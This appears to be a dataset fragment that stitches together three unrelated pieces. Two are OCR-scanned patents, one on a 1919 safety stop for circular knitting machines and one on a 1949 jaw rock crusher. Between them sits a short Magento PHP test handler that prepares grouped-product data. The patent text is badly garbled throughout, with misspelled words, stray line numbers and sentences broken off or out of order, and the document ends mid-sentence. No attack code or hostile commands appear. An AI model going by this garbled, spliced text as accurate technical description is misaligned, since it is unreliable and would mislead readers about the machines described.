In the modern automatic circular hosiery knitting machine, it is customary to provide a .pattern chain which controls the operation l5 of a pattern disk orcylinder,the lattercarry.-v ing parts which control the operation of various elements of themachine,'such as the clutch for shifting from rotation to oscil- `lation and vice versa, the cams for raising half 2o the needles out of action and restoring them to action, the cams for rendering active the lifting pickers and lowering pickers, the means for shifting yarn changing ingers into and-out of action, etc. To' enable the pattern chain. toI controlthe pattern disk or cylinder, the chain is provided at suitable intervals with lugs or high links, which control v the operation ot mechanism for turning the pattern disk or cylinder. The pattern disk or cylinder dictates certain f l u operations oi the machine in a certain se quence, but the time elapsing between certain otthese various operations of the machine may be varied by using, chains ot different 36 length and regulatingthe distance, measured in links, between the lugs. lin any pattern chain, however, the distances between lugs are necessarily lquite variable, vland therefore i the pattern disk or cylinder shall be brought toa v certain position, the pattern chainimust be brought to a synchronous position. 'if proper care belexercised'by a properlyinstructed operative, no troublecan arise; v.but
5l) unfortunately, due to ignorance or careless nessl on the part of an operative, the chain is not always positioned to synchronize with the pattern disk. This condition-may arise, for example, ii", forany reason, the machine tioned.
has been stopped and the chain shifted and then has not been restored' to` proper position; the consequences then, after the ina-3 chine is re-started, yoften being quiteserious, in that needles are broken and parts of the machine are damagedor ruined. The'niost 60 vital damage is apt to occur as the machine goes olf the heel or toe l i or example, .in atypical knitting machine, at the beginning of the heel or toe,l the' clutch is shifted to cause the machine 65 t@ change from rotation to oscillation, half 'the needles are moved out of action, the yarn `changing ,fingers are opei'ated,'and the "pick yers start 'to lift the remaining needles'outof action one by one. After the heel or toeI is half knit the lowering pickers are rendered active. t' the conclusion of the heel or toe knitting, the clutch is again shifted-"all the pickers are lrendered inactive, Vthe bank of needles that'was moved out of action'at the 75 beginning of the yheel or toe isfinoved into action and the yarn changing fingers are k operated. rfhese described operations re- 'quiie three shifts of vthe pattern disk or cylinder, which are caused to be elected by 8o three lugs on the pattern chain. Itis obvious thatthese three lugs must be spaced 'a given vdistance apart, because the chain moves synchronously with the needle eylinder, and just as the needle cylinder Vmust` oscillate' a given number lof times to l' coI'nplete the heel and toe, so must the chain `more a given number of links during the same period. .if thelugs are' not properly spaced, then the last two of said three shifts of the pattern disk or cylinder will be made when the `needles and other elements are not p in .proper vposition for, the operations nienl Assuming an. improper spacing of the lugs on the patternl chain, it is impracticable to specify exactly just what the abnormal condition's would be when the moment arrives tor going `ofi' `the heel or toe, as these. conditions will be diferent ,on machines of differentmake,` and will, indeed, Vary on the saine machine. 0n Standard or Houseman machines '(see, for example, Houseman Patent No. It will be understood that I have simply pattern chain is not properly adjusted to correspond with the position of the pattern disk orcylinder. I have illustrated one em-v bodiment of my invention which has been carefully worked out mechanically andthe operativeness of which has been demonstrated by prolonged experimental and practical use. I have also illustrated other embodiments of the invention, which illustrate rational embodiments ofthe same inventive conception. Other embodiments, with the suggestions afforded by the structures shown and described, could readily be amsm workedout by the skilled mechanic.
Figure 1 is a plan view of the machine, with lthe top of the machine table broken away.
Fig. 2 is a partial front View of the mechshown in Fig. l.
Fig. 3 is a rear view of the same.
Fig. 4 is a horizontal section on line 4 4 of Fig. 3.
Fig. 5 lis an elevation of the machine, looking at the right hand side of Fig. 1.
Figs. 6 and 7 are side views of parts of the machine in ('li'lercnt pofitions.
. Figs..8,' 9 and l() are views,similar to Figs. 6 and 7, of modifications.
Fig. 11 is aperspective view of a part of the pattern chain.
The" driving shaft a, through bevel gears b, b', and spur gear c. drives a rotaryfpi`nion c loose on the shaft (l, from which the needle cylinder is operated by the usual.
` means (not shown). An oscillatory pinion f, loose von the shaft d, is actuated by an oscillating quadrant f. The quadrant is 1,288,594. A clutch g,feathered on the shaft ci, isl shifted by mechanism herein-v after described, into engagement with the two pinions c and f alternately, thereby imparting to the needle cylinder alternate movements of rotation and oscillation. The clutch g is carried by an arm on a frame i slidable vertically on a post j.
The pattern disk z' is provided with peripheral ratchet teeth engaged by a pawl m. The pawl m is operated at suitable intervals bymechanism controlled by the pattern chain, thereby turning the pattern disk step by step. In some machines a pattern cylinder is used in place of a disk, and
it'will be understoodl that the term patp tern disk, as used in this description and in the claims, is intended to include any device or apparatus that controls or effectsl the operation of the machine elements, such as, for example, a pattern cylinder, a pattern drum, a pattern shaft, or a supplementary pattern chain. In the present machine., the pattern disk carries various devices which, as the disk is turned at irregular but fixed intervals, are moved successively intoI operation, these devices in turn actuating, or controlling the actuation of the various machine elements that control the knitting operation.
For example, a cam-way lc on the periphery of the pattern disk operates, at a predetermined time, a pin Z carried .by the frame i, thereby shifting the clutch g as hereinbefore described.
The pawl m is carried on a lever u ex tending from a hub o turnable on a post. The hub o has also arms p and g. The arm f/ carries a roller 7" engaging a cam s on the shaft f5, which, as before described, is constantly rotated. The cam s moves the arm g outwardly from the axis of the shaft f5, while a spring s (when free to act) moves t'he arm g inwardly toward the axis of the cam. In the absence of other` mechanism, therefore, the pawl m would be reciprocated at each rotation of the cam s and the pattern disk would be actuated at frequent and regular intervals. However, whenever the arm y is moved outward by the cam s (thus advancing the pawl m to advance the pattern disk li), the lever y) engages and displaces the hookedeml of one arm of a'bell crank lever t (see Fig. 5), the latter being fore is not retracted toengage the next tooth of the pattern disk ratchet until the lever t 1s moved to Withdrawn its hooked end from back of the lever [2. This actuation ot lever t is eli'ected by the pattern chain, as here inafter described.
The pattern chain lQ'is actuated by the following mechanism: On the rotating vshaftf is a cam iv embraced by thel bifurcated end of an arm w on a huh a', pivotedV on the same post onwhich hub o is vkpivoted. The hub an has an arm y that carries a paw] e engaging a ratchet'lO. The ratchet 1U 41s sleeved on the outside of the bearing for shaft a and carries a sprocket wheel l1.
lever so as to disengage its hooked ,end fromk the lever p, allowing thespring 8' to draw the arm q against the low face of the s,
A which then swings the lever g so as to ad.-
Vance the pawl m and ratchet the pattern disk z' forward a .distance ot' one tooth.
To the mechanism above described, I have applied my safety contriva'nce. lVhile the safety contrivance may be embodied, asbefore. stated, in dierent forms, I prefer to yso design and apply it that it will operate if one ofthegregular lugs 14 (in the specific'A embodiments shown herein any of the narrow lugs) underrides the lever t at one or more stages'of the knitting operation, but so that it will be withheld from operation if a special lug (in the ypresent case a lug 13) underrides the lever t. 1t is obviousy that if this special lug is the onerwhich,when
the chain is properly positioned', is intended to effect theoperation of the pattern disk so as to dictate thel operation of elements which are designed to operate at such stage of the knitting operation, the safety `contrivance will not operate and hence the machine will oipera'te just as if it were equipped with .no sa'jetydeviice whatever.
' Bearingv in mind that disastrous results are to be apprehended only after the machine passes'onto the heel or toe, have, in myy preferred embodiment, so arranged the safety contrivance that it will be adapted.
to operate only as. the machine passes onto the heel or toe. The chain is provided with two of the special lugs 13, each of which (when the pattern chain and pattern disk arey properly synchronized) effects that actuation of the elements designed to be operated at these two stages of the .knitting operation. 1t is therefore clear that if the pattern chain and pattern dish be properly v down pn synchronized, the safcty contrivance Willf" intended inode of operation ,of the preferred l embodiment .of my invention, I shall explain the construction ,and operation of the specific safety device which l hat-e actually usedand which is illustrated in Figs. 1 to 7 inclusive'.
0n the driving shaft' L is the fixed' pulley 15 and the loose pulley 1li. v larly AFigs. 1 and 17 vis a belt shifter slidable on a guide rod 18. A spring 1.9 (Figs. 1 and 2l)- tends to actuate the belt shifter to shift the belt from the fixed pulley 15 to the loose pulley 1G. i A stop 20 normally prevents the belt shifter from so mov ing. A springpressed rock-arm 21,to which the stop 20 is secured, normally holds the stop in operative position. i' i' The QlutCh-Carrying frame 7L has bearings in which is swiveled a rod 23, to which is secured an arm 22, which loosely/'embraces la pin Q00, secured to the lever 21. In the normal operation of the machine, the rod 23 does not turn, its only movement being an up and down movement, with the clutch frame, when the .clutch f] is shifted. This up and down movement does not actuate the stop 20, the arm 22 merely sliding up and the pin 200.
The rod 23 has at 1 (See pa rticu,` ,8
ts upper end a head to`i` which a pin 24 issecured 25 is a lever pivoted' between its ends. One end of ,this ,lever extends alongside of the chain-oper,-
atcd end of lever t in position. to beengaged by one of the special lugs ,13 but not 'in position to be engaged by one ot' the regular lugs 14e. A spring 27 holds the lever Q5 in the path ot' travel of the lugs 13. The other end of lever 25 is shaped to pro'- vide a recess E2G normally inline of the down 'ard movement of the pin Q4, as shown yin F ig.
It will bc clear that if a wrong lug let actuates the lever when the pattern disk e' is in position to shift to dictate the begin ning oit' heel or toe knitting, the lever 25 will not be actuated. Consequently, in the lowering of the clutch g (which is one of thev operations at this stage ot the knitting), 'the pin 24 moves into the recess 26 and pushes down the corresponding end of lthe lever The lever is so pivoted that, as its recessed end moves down with the clutch frame h, itnecessarily has also a .las
lateral movement relatively thereto, causing it, by reason of its engagement 4With the pin 24, to more the pin 'laterally and thereby turn the rod 23 on its axis, as shown in Fig. `6. The turning of rod 23 swings the arm 22, which/witl draws the stop 2O out of 'operative position, andthe belt shifterpl? ,is immediately' actuated by the spring 19 to shift the belt from the tight pulley 15 to the loosevv pulley 16, thereby stopping the machine;
Suppose, however, that a correct lug 13 actuates the lever t when the pattern disk is in position to shift to dictate the beginning of the heel or toe knitting. Then the lever -wi'll be operated by the lug slightly before the lug operates the lever t, although (in the specific embodiment shown) in the same turn of the sprocket Wheel 11', and the recessed end of the lever will swing into the position shown in Fig. 7, moving this end of the lever below, or out of the path of travel of, the pin 24. Hence` when the pattern disk z' is turned and the clutch frame h moves down, the pin 24 will not coact with the recess 26 and the belt shiftingA mechanism will not operate.
The coaction betweenl lever 25 and pin 24 in lthe specific construction described involves an operation of each by the other. In Fig. 8 is shown a slight modification.
:Here the` lever 30 (corresponding to lever 25) is held in position to be operated by a lug 13 by means of a spring 31. Spring 31. corresponds to spring 27 but should be of greater strength. The actuating end of -lever 30 is provided with an upturned edge the inner wall of which forms a cam 32 in line of movement ofthe pin 24. If, preparatory to' that shift of the pattern disk i which ldictates the beginning of heel or 'toe knitting, the properlug operates the lever t, the lever 3() is swung out of the path of movement of the pin 24, but if a wrong lug operates the lever t, thereby leaving the lever 30 in its normal position, the pin 24, in the lowering movement of the clutch frame, rides upon the cam 32 and is turned on its axis, thereby causing the belt-shifting mechanism to operate.
In the foregoing construction the pattern chain controls the position of the lever 25 or 30 and the stop mechanism is operated by the movement of the clutch shifter. In the construction shown in Fig. 9, the pattern chain, as before, controls the position of the lever, but the' stop mechanism is'actuated by the pattern disk The lever 40 (corresponding to lever 25 or 30) has a slot 41 engaging a pin 42. The lever 40 is therefore both turnable and slidable on the pin 42. A spring 43 holds the lever in its left-hand position, in which position it is in operative relation with the pattern chain. A stop 44 prevents the lever 40 turning on its axis except in opposition to the spring 43; The
actuating end of lever 40 has a cam-actuated head 45 provided with an actuating cam 46.
The head 45 is normally in line of travel of a cam 47 on the patternv disk Vhen the the machine frame.
vcam 47; engages the head 45 it tilts the corresponding end of the lever 4() down, thus causing the cam 46 to engage the pin 24 and thereby swing the rod 23 to actuate the beltshifting mechanism. This operation will occur only if the wrong pattern chain lug operates the lever t, thereby leaving lever 40' in position to be operated, as described, by the cam 47. But if the correct lug operates I knitting operation. It should be mentioned that, in this modification, the tnrnable rod 23 is not carried .on the clutch-shifting frame, but is journaled on a fixed part lof In the drawings, the rod is shown as turnable in two fixed suppoits 48.
In the construction shown in Fig. 10, the lever 50 (corresponding to lever 25, 30 ,or 40) is operated to actuate' the stop mechanism by the pattern chain: itself. One end of the lever 50 is held into operative relation with the chain by a spring 51 andv is pivoted at 52. The other end ot the leverO has a cam 53 adapted, when depressed, to engage the pin 24 and turn the rod 23 to stop the machine, as before described. This operation willloccur as soon as a special lug 13 engages the lever 50, unless the pattern disk is properly positioned relatively to the pattern chain; but if the disk is in its proper position relative to the chain a stop 54 carried by the disk underrides a projection 55 -on the ,lever 50 and prevents' the lever 5() withheld from moving down by the posi-Y tive stop 54.
I-laving now fully described ymy invention, what I claim and desire to protect by Letters Patent is: I
l. In a circular knitting machine, the combination with driving means, of a clutch, a pattern 'disk and actuating means therefor, a
cam on the 'pattern disk for controlling the action Aof the clutch, a pattern chain,
lugs irregularly spaced on the pattern chain and'adaptedlto render said actuating means operative and thereby impart intermittent movements to thepattern disk at'irregular intervals; of mechanism to stop the ma chine, and contrivance'sadapted to efe'ct i the operation of thestop mechanismand in operative relation With both the pattern disk and one of said lugs on the pattern v chain and adapted to be renderedA operative or inoperative to stop the machine dependent upon the position. of the clutch cam 'on the pattern disk When said last'mentioned combination with driving means, ot a pattern disk, and actuating means therefor, mechanism to stop the machine, acontriv- V ance controlling the operation of the stop mechanism, and a pattern chain comprising lugs of diii'erential characterlstics all ot' which are adapted to render said pattern disk actuating means intermittently operav tive, While one of said lugs is also adapted to operate said contrivance and thereby cause the stop mechanism to be operated or not dependent upon Whether the pattern chain is or is not out of synchronous relation With the pattern-disk- 3. In a circular knittingmachine, the combination with driving means including a reciprocable clutch adapted to vcause a part of said driving means to eitherrotate or oscillate, apattern disk adapted, at predetermined but irregular intervals, to control the proper operation of the knitting mechanism and said clutch, through the medium of the clutch pattern disk actuating means, and a pattern chain adapted, when properly synchronized with the pattern disk, to so control the operation of saidl actuating means as to effect the specified operation of the pattern disk; of mechanism to stop the machine, a clutch frame carrying said clutch, contrivances adapted to cOp-' crate with the clutch frame to effect the operation of the stop mechanism, and means adapted, when the chain is properly' synchronized with the pattern disk, to prevent said'coperation of said clutch frame and contrivances.
a. In a circular knitting machine, the combination with driving means inclruling a 'reoipvrocable clutch adapted to canse a part of the driving means to either rotate or oscillate, a pattern disk adapted to control the operation of the knitting mechanism,
actuating means for the pattern disk, a pattern cham adapted to control the operation of said pattern disk, mechanism to stop the machine, and a clutch frame carrying said clutch, of means controlled by the pattern chain and adapted to render the clutch frame in its movement operative or inoperative to operate the stop mechanism dependent upon Whether the pattern disk is or is not out of synchronous relation with the pattern chain. l,
5. Ina circular knitting machine, the combination of driving means including a reciprocableclutch adapted to cause a part yof the driving means to either rotate or oscillate, a pattern disk adapted to control the operation of the knitting mechanism', actuating means for the pattern disk, a pattern chain comprising lugs all of which are adapted to render said pattern disk actuating means intermittently operative, mechanism to stop the machine, a clutch' frame carrying said clutch, means carried therebyadapted when the clutch is shifted to be turned into position to operate said stop mechanism, and a contrivance adapted to cause such turning movement of such clutch frame, one -of said lugs also being adaptedv to shift said contrivance and thereby prevent such turningV movement, whereby, if the clutch frame is shifted contemporaneously `with the operation of said contrivance, the machine will not be stopped.
6. A circular knitting machine having oscillatory and rotary driving mechanism, clutch mechanism for connecting either of said mechanisms, clutch shifting mechanism including a pattern disk, means for intermittently actuating the pattern disk, a pattern chain for controlling the action of the pattern disk, and means t9 stop the machine operable if the clutch shifting mechanism and the pattern chain are out of timed i Jrelation.
In testimony of which invention, I have hereunto set my hand, at Philadelphia, Pa., on this 30th day of July, 1919.
, HAROLDv E. HOUSEMAN.
| 42,946 |
https://github.com/timciep/Magento2/blob/master/magento2/dev/tests/functional/tests/app/Magento/GroupedProduct/Test/Handler/GroupedProduct/Curl.php | Github Open Source | Open Source | MIT | 2,020 | Magento2 | timciep | PHP | Code | 91 | 294 | <?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\GroupedProduct\Test\Handler\GroupedProduct;
use Magento\Catalog\Test\Handler\CatalogProductSimple\Curl as AbstractCurl;
use Magento\Mtf\Fixture\FixtureInterface;
/**
* Create new grouped product via curl.
*/
class Curl extends AbstractCurl implements GroupedProductInterface
{
/**
* Prepare POST data for creating product request.
*
* @param FixtureInterface $fixture
* @return array
*/
public function prepareData(FixtureInterface $fixture)
{
$data = parent::prepareData($fixture);
$assignedProducts = [];
if (!empty($data['product']['associated'])) {
$assignedProducts = $data['product']['associated']['assigned_products'];
unset($data['product']['associated']);
}
foreach ($assignedProducts as $item) {
$data['links']['associated'][$item['id']] = $item;
}
return $data;
}
}
| 41,910 |
US-12765149-A_1 | USPTO | Open Government | Public Domain | 1,949 | None | None | English | Spoken | 6,189 | 8,074 | Jaw crushing apparatus
March 17, 195:3 N;H.BOG1E 2,631,785
JAW CRUSI-IING APPARATUS ATTORNEY March 17, 1953 N. H. BoGlE lJAW CRUSHING APPARATUS Filed NOV. 16, 1949 5 Sheets-Sheet 2 -NE'lSm-L H -Em ATTORNEY March 17, 1953 N. H. BoGlE 2,631,785
JAW CRUSHING APPARATUS Filed Nov. 16, 1949 5 Sheets-Sheet 3 y INVENTOR NElEm-L H Eln iE,
5749 @j Zfwq ATTORNEY' characteristics.
increases the wear upon the jaws.
Patented Mar. 17, 1953 UNITED STATES PATENT OFFICE JAW CRUSHING APPARATUS- Nelson H. Bogie, Lexington, Ky.
Application November 16, 1949, Serial No. 127,651
This invention relates to comminuting apparatus and more particularly to machines for crushing hard and friable materials such as ore, rock, coal and the like. This is a continuationin-part of my co-pending application Serial No. 776,787, led September 29, 1947, which has matured into Patent N o. 2,605,051.
The usual rock crushing machine comprises a hopper-like apparatus formed by a pair of inwardly slanting jaws, one of which is stationary and normally formed integrally with the machine frame, and the other of which is movable through an oscillating path relative to the fixed jaw. In the usual machines, the movable jaw is driven at its top by an eccentric and its bottom is propped by a toggle link so that as the jaw is moved longitudinally by the eccentric, its lower end is moved laterally by the consequent angulation of the toggle. Variations of this structure have been proposed but have proven so unsatisfactory that they are not commercialized and the above described machine is the only one usually seen in actual use.
Despite its more or less general acceptance, this machine has a number of defects and undesirable Due to the action of the toggle,
the driven jaw is moved inwardly when it moves upwardly and downwardly and, consequently, it tends to push the rock to be crushed upwardly instead of feeding it downwardly toward the narrowest, maximum crushing part of the jaws. This action greatly slows the passage of the rock through the machine and decreases production while frequently requiring additional labor to ram the rock down between and through the jaws.
The above described action also has another inherent defect in that the jaws rub and abrade the rock'instead of actually crushing it. This results in the production of a great deal of pulverized material, which is undesirable, rather than crushed material and, in addition, materially Furthermore, even `in the crushed material, non-uniform results are obtained. These defects are increased by the fact that the jaws angle toward each other to their bottom edges so that there are no directly opposed substantially parallel crushing -surfaces to eliminate excessive abrasive action and pulverizing, thereby causing most of the rock or other material to be crushed to proper size.
' Another defect in these machines resides in the fact'that the jaws are not properly adjusted relative to eachother in order to regulate the size of "the crushed'rook. As previously stated, the sta- I tionar'y jawy is fixed as part of the machine frame. rConsequently, to obtain a semblance of adjusta- 2 Claims. (01.241-78) CFI 2 bility, the toggle link of the movable jaw is usually seated against a movable block that is braced relative to the machine frame by shims. By limiting the adjustability to the movable jaw in this manner, the spacing of the jaws is not properly regulated nor lower short nat rock crushing portions in substantially parallel relationv provided, to crush most of the material to size or grade desired instead of excessive pulverization, but only the angulation of the movable jawis varied which results solely in varying the hereinbefore described pulverizing back feeding'and abrasive action.
Still another defect of these prior art machines resides in their inability to produce a uniform crushing effect so that some of the rock has to be re-crushed. In other words, in the rst crushing operation, some of the rock will be reduced to proper size, but other rock which is too large will slip between the jaws or will be abraded or be reduced to too small a size and mostly pulverized. This requires either a screening of the rock and grading or re-crushing the larger rock.
A still further defect in these prior art ma chines resides in the construction of the jaws per se. These jaws usually consist of a frame having one or more wear plates secured to the face of the frame by bolts, screws or the like. These plates wear rather rapidly, due to the above described abrasive action, and have to be replaced frequently. Considerable time is consumed in removing the screws and bolts, however, and, consequently, there is a considerable loss in production' and increase in man hours and expense.
Having in mind the defects of the prior art apparatus, it is an object of this invention to provide a comminuting apparatus which has substantially fiat vertical lower jaw crushing portions movable primarily horizontally toward and away from corresponding coacting stationary jaw portions in the crushing and discharge of the rock, that actually crushes rock and with substantially no abrasive action thereon.
It is another object of the invention to provide a rock crushing machine that has a positive feed action.
It is still another objectof the invention to provide a rock crushing machine that is capable of delivering crushed rock of substantially uniform size to preclude further grading or re-crushing operations.
It is a further object of the invention to provide a rock crushing machine wherein both jaws are adjustably mounted relative to eachother to regulate the size of the crushed rock as desired.
. eration.
It is yet another object of the invention to provide a rock crushing machine wherein the lower crushing end of the movable jaw is movedthrough a crushing stroke toward the stationary jaw only when the movable jaw is not being moved longitudinally.
It is a still further object of the invention to provide a rock crushing machine wherein the lower crushing end of the movable jaw is retracted from the stationary jaw while it is subject to longitudinal movement to preclude abrasion of the rock and to positively feed it.
It is a collateral object of the invention to provide a rock crusher jaw having readily replaceable wear plates to eliminate loss of time and production in replacing these plates.
It is an object of the invention to provide a rock crushing machine having economy of construction, simplicity of design and efficiency of operation.
vThe foregoing objects and others ancillary thereto are. preferably accomplished by a rock crushing-machine having an adjustably mounted stationary jaw, and a movable jaw which is driven at. both its upper and lower ends but in such different directionsand in` timed relation as te accomplish the objects and produce the advantages sta-ted.
According to a preferred'embodiment, the movable jaw comprises a plurality, preferably two verticallydisplacedi crushing jaw portions rigidly connected. to move in unison in the same directions by a laterally inclined screen or bar grizzly to sift the smaller rock after the first crushing operation by the upper jaw and passing the larger rock tothe lower jaw for a second crushing op- In this arrangement there are, preferably, two stationary jaws, one for cooperation with each of the movable jaw portions.
Thev upper drive'for the movable jaw may comprise an eccentric which imparts longitudinal movement tothe jaw with relatively stationary periods between the longitudinal movements whilethe eccentric is passing over and under its pivotal center. The lower drive imparts a horizontal reciprocal movement to the bottom ofv the jaw and is timed to move the jaw toward the stationary jaw or jaws during the relatively' stationary periods and retract the movable jaw during the longitudinal movement periods. The lower drivepreferably comprises an eccentric that rolls freely against the bottom outer surface of the movable jaw and is preferably driven at twice the speed of the upper eccentric so as toA impact the rock twice during each revolution of the upper eccentric.
Each stationary jaw, preferably, .is pivotally mounted at its upper end and propped by an adjustably positioned toggle whereas the lower ec- .centric on the movable jaw is adjustably positioned to vary the position of this lower end of the movable jaw. In order to permit ready replacement of the wear plates, they areV formed in units and adapted to be positioned by a single clamp.
The novel features that are considered characteristic of the invention are set forth with particularity in the appended claims. The invention itself, however, both as to its organization and its method of operation, together with additional objectsA and advantages thereof, will best be understood from the following description of atspeciiic embodiment when read in connection with the accompanying drawings, whereinlilre reference characters indicate like parts through- Outand in which;
Fig. l is a cross-sectional View taken vertically through a rock-crushing machine in accordance with the present invention;
Fig. 2 is a cross-sectional View taken on line 2 2 of Fig. l;
Figs. 3 and 4 are fragmentary plan views of two modifications of the screening or sifting member between the jaw portions of the movable jaw member;
lfig.A 5 is a cross-sectional View taken on line 5-5 of Fig. 3;
Fig. 6 is a fragmentary exploded view in perspective of the preferred form of bar grizzly;
Fig. 7 is a fragmentary side View in elevation showing the adjustable mounting of the lower eccentric shaft; and y Eiga 8,. 9, 10 and 11 are diagrammatic views illustrating the operation of the movable jaw.
Referring now to the drawings, and specincally with reference to Figure l, a. rock-crushing machine, in accordance with a preferred embodiment of the present invention, comprises a frame i@ including end walls ll, a front wall. l2 and a rear wall i3. The walls are heavily reinforced by ribs i4 to provide a rigid, strong construction that willwithstand the vibration and hard use. to which such machines are subjected. The top of the frame lli is open to receive rock to be crushed, and the bottom ofthe frame .is open .to discharge crushed` rock.
A pair or pairs of crushing jaws are mounted within the frame lf3 and extend between the end wells il thereof. One of these jaws i6 is a movable jaw comprising two jaw portions la and it?) which are stepped or offset with an intermediate screen or bar grizzly Ic. The other jaws i5 and i5 are stationary jaws for respectively cooperating with the jaw portions 16d and i513. These jaws .angle apart toward their upper ends to forma hopperforreceiving the rock to be crushed .therebetween-and include elongatedV flat portions, E'l--'l and l8-I8- respectively, which are angularly arranged to form the hopper. At their lower ends they each include short flat portions ISI-i9 and 21B-25J respectively., which are angnlarly arranged, preferably at obtuse angles, relative to `said elongated hat portions of the jaws so as to be substantially .parallel with each other to provide directly opposed crushing surfaces which are arranged in a substantially vertical position.
The stationary jaws l=5'-I5 each comprise a frame .2| having a recess 22 for receiving the usual wear pla-tes 23. Whereas the usual stationary `jaw is formed integrally with the machine f-rame, one of the advantages of the present invention resides in the fact that the stationary jaws l-l Yare each adjustably mounted within the frame l0. Ela-ch jaw frame 2l has` a boreI 2'4 extending longitudinally through its upper end to receive and. be sup-ported by ashaft 25 which vhas its ends supported by the end walls Il of the machine iframe lll. Consequently, the jaws It-I5 may be pivo-tally adjusted .about their'respective shaft 25 to vary the respective angular position relative to the movable jaw F6.
To regulate th-e position of the jaws l5-l5', they are each provided with a groove 26 in their lower rear surface to form a seat for onel end of a respective toggle 21 which has its other end seated in a groove 28 formed in a block 29 that is adjustably positioned relative to the inside of the front wall l-2 by a plurality of shims 30, the blocks 2S and shims 30 being respectively mounted on ledges 30 extending inwardly of the front wall L2 of the machine frame l0. The jaws are each the screen section |30.
` bars'.
held rigidly against their toggles 21 by a respective tie bOlt 21.
I'-I5 during normal operation but will release the jlaw in the event of a jam or other abnormal operation to prevent damage to the machine.
The movable jaw I 6 is similar to the stationary jaws in that it comprises -a frame 3| that has an offset portion 3| forming a rigid angul-ar open frame-like connection between the spaced upper and lower jaw portions |6a and I6b, for the inf term-ediate screen or bar grizzly I6c and the usual seats 32 for Wear plates 33 defining the jaw portions ISa and Ib respectively above and below The rigid offset open frame-like screen portion or screen holding connecting portion 3|' is inclined inwardly or forwardly between upper end lower jaw portions I'6a and ISb, in obtuse-angled relation thereto, or directly and specifically so related to the lower vertical portion of portion ||6a bearing jaw portion 20 and the upper elongated flat portion |8 or portion I6b Iwhere it angles into portion 3|' in zig-zag formation. In order to facilitate rapid replacement of the wear plates 33 they are each formed as'two separate plates having opposed angular surfaces 34 for engagement by a wedge clamp 35 which may be carried by a bol-t 36 that may extend through the face of the frame 3| and be secured by a nut 31. The respective faces of the wedges 35 preferably coincide with the wear faces of the wear plates 33 and also form Awear surf-aces.
The lower of each of the wear plates 33 preferably includes an angular portion to form the crushing surface 20. Although this mounting of the wear plates is shown only with respect to the movable jaw I6, obviously this construction may be incorporated in the stationary jaws I5-I5.
',Ihe offset portion 3|', as shown in Figs. 1, 3 and 4, has a through opening 'I5 with recesses ralong the two transverse edges to provide ledges crossed bars, with the ends in either case resting on the led-ges lis. The screen 'I'Ia must be formed as a unit but a plurality of units with different rsizes of mesh may be provided. The bars 'I1 may be rigidly secured together as a unitary structure but, prferably, the bars 1I are independent so that they may be selectively spaced to provid-e slot openings -therebetween of desired width. The units or independent bars 'I'Iare of a height equal to the height of the ledge recesses so that the tops of the bars are flush with the top surface of the frame portion 3 I In the case of the independent bars Tf1, their ends are notched between their top and end edges to provide end portions 'II' which, preferably, comprise semi-dovetails as their top edges are incl-ined downwardly. Spacer blocks 'I8 are positioned on the ledges 'I3 between the end-s 'II of adjacent bars 'I'I to thereby selectively space the The t-op surfaces of the spacer blocks 'II8 are inclined downwardly to coincide with the top edges of the bar end portions TI', the blocks 'I3 having a cross-section corresponding to the profile of the end portions 'I1'.
AClamp bars 'I9 overlie the respectiveV end portions lland spacer blocks 718. The clamp bars 'I9 have inclined bottom surfaces to coincide with the inclined top surfaces of the blocks 'I8 and end portions I'I' and the bars 'I9 are of a cross-section to lill the recesses between the opposed walls of the frame and the upstanding offset edges of the grizzly bars 'II so that the tops of the clamp bars 'I9 are flush with the surface of the frame portion V3 I and the top edges of the grizzly bars.
The clamp bars 'I9 are secured by spaced bolts 8l) which extend through the bars T9, Vunderlying spacer blocks 'I8 and are threaded into the frame portion 3|', the bars I9 being countersunk to receive the heads of the bolts 80 s-o that the surface of the grizzly section is smooth and unbroken by protrusions. Th-e inclined bottom surfaces of the clamp bars I9 cooperate with th-e inclined upper surfaces o-f the spacer blocks I3 to wedge or lock said blocks on the ledges TIS between the grizzly bars 11. The said abutting or cooperating surfaces may be parallel to the top and bottom surfaces'instead of inclined, but in this event, ad-
ditional locking means for each spacer block 'I8 is necessary, such as bolts 80 extending through the clamp bar I9 with one of the bolts extending through each spacer block.
A chute 8| is mounted within the main frame with its open upper end 32 disposed beneath the through opening 15. The chute may be attached directly to the underside of the frame portion 3|' t-o form a closed disch-arge passage, but in which event it would move with the movable jaw I6. As such movement is not desirable, however, the chute 8|, preferably, is rigidly supported between the side frames I and pro-vided withV a mouth or open upper end 32 that is spaced from the underside of the frame portion'3l to permit the relative movement of the jaw, but is extended in size to underlie the discharge end of the grizzly opening I5 throughout the path of movement of said opening during th-e movement of the jaw.
The movable jaw IB is mounted atits top on an eccentric in the usual manner, the frame 3| having a sleeve 3B at its upper end to receive the outer race 39 of an antifric-tion bearing 40, the inner race 4I lof which surrounds an eccentric 42 formed integrally with a shaft A43. Obviously, the eccentric need not be formed integrally with the shaft 43 but may be keyed or otherwise mounted thereon, and, if desired, a crank'may be substituted for the eccentric. The shaft 43 is journalled in the end walls II of the machine frame I and may carry a fly wheel 4'4 and be driven in any suitable manner. Y y
The lower ends of the jaw frame 3| at the seats 312 are angularly positioned to accommodate the crushing faces llz and the rear side of the bottom of th-e frame 3| opposite the face 20 is provided with a bearing surface 45 which, preferably, is formed by a hardened metal plate 4B seated in a recess 4l in th-e frame 3|. The surface 45 of the plate 46 bears against the outer race 43 of an antifriction bearing 49, the inner race 53 of which is mounted on an eccentric 5| carried by a shallt 5,2 that is journalled in the end walls I I of the machine frame I0. A-s a matter of convenience and economy, the upper and lower shafts 43 and 52, eccentrics 42 and 5|, and bearings 40 and 43 may be identical in size.
The shaft 5'2 'is driven in order to impart a lateral movement to the crushing faces 23-20 and, preferably, this shaflt is driven from and in timed relation with the upper driven shaft 43. This may be accomplished by any suitable means,
and for purposes o-f illustration, is shown as comprising a chain drive, although a. gear or other lower shaft 52.
vsaid vend walls I I.
